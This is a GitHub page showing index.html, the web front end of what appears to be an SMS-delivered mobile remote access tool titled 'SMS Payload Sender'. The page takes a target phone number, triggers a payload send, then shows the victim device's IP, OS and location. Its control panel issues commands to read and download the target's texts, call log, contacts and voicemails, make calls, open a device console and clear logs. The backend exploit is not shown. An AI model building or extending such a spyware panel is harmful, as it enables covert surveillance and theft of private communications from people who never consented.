-
-
Notifications
You must be signed in to change notification settings - Fork 10
Expand file tree
/
Copy pathindex.html
More file actions
136 lines (132 loc) · 6.76 KB
/
index.html
File metadata and controls
136 lines (132 loc) · 6.76 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SMS Payload Sender</title>
<!-- Bootstrap CSS -->
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
font-family: Arial, sans-serif;
margin: 20px;
}
.container {
max-width: 600px;
margin: auto;
}
.notification, .device-info, .control-panel {
margin-top: 20px;
padding: 10px;
border: 1px solid #ccc;
display: none;
}
.notification {
border-radius: 5px;
}
.device-info, .control-panel {
border-radius: 5px;
background-color: #f9f9f9;
}
.control-panel button {
margin: 5px 0;
}
</style>
</head>
<body>
<div class="container">
<h1 class="text-center">Send Payload via SMS</h1>
<form id="smsForm" class="mt-4">
<div class="form-group">
<label for="phoneNumber">Phone Number:</label>
<input type="text" class="form-control" id="phoneNumber" name="phoneNumber" required>
</div>
<button type="submit" class="btn btn-primary btn-block">Send Payload</button>
</form>
<div id="notification" class="notification alert"></div>
<div id="deviceInfo" class="device-info p-3">
<h2>Device Information</h2>
<p><strong>IP Address:</strong> <span id="ip"></span></p>
<p><strong>OS:</strong> <span id="os"></span></p>
<p><strong>Location:</strong> <span id="location"></span></p>
</div>
<div id="controlPanel" class="control-panel p-3">
<h2>Control Panel</h2>
<button class="btn btn-secondary btn-block" onclick="sendCommand('reboot')">Reboot Device</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('shutdown')">Shutdown Device</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('get_info')">Get Device Info</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('send_text')">Send Text</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('make_call')">Make Call</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('view_call_log')">View Call Log</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('view_text_messages')">View Text Messages</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('listen_voicemails')">Listen to Voicemails</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('view_installed_apps')">View Installed Apps</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('view_app_usage')">View App Usage</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('view_contacts')">View Contacts</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('download_sms')">Download SMS Messages</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('download_call_log')">Download Call Log</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('download_contacts')">Download Contacts</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('download_app_list')">Download App List</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('download_phone_usage')">Download Phone Usage</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('view_processes')">View Processes</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('device_console')">Device Console</button>
<button class="btn btn-secondary btn-block" onclick="sendCommand('clear_logs')">Clear Logs</button>
</div>
</div>
<!-- Bootstrap JS and dependencies -->
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.4/dist/umd/popper.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<script>
document.getElementById('smsForm').addEventListener('submit', function(event) {
event.preventDefault();
const phoneNumber = document.getElementById('phoneNumber').value;
fetch('/send_sms', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ phoneNumber: phoneNumber })
})
.then(response => response.json())
.then(data => {
const notification = document.getElementById('notification');
notification.style.display = 'block';
notification.textContent = data.message;
notification.className = data.success ? 'notification alert alert-success' : 'notification alert alert-danger';
if (data.success) {
fetch('/get_device_info', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ phoneNumber: phoneNumber })
})
.then(response => response.json())
.then(deviceData => {
document.getElementById('ip').textContent = deviceData.ip;
document.getElementById('os').textContent = deviceData.os;
document.getElementById('location').textContent = deviceData.location;
document.getElementById('deviceInfo').style.display = 'block';
document.getElementById('controlPanel').style.display = 'block';
});
}
});
});
function sendCommand(command) {
const phoneNumber = document.getElementById('phoneNumber').value;
fetch('/send_command', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ phoneNumber: phoneNumber, command: command })
})
.then(response => response.json())
.then(data => {
alert(data.message);
});
}
</script>
</body>
</html>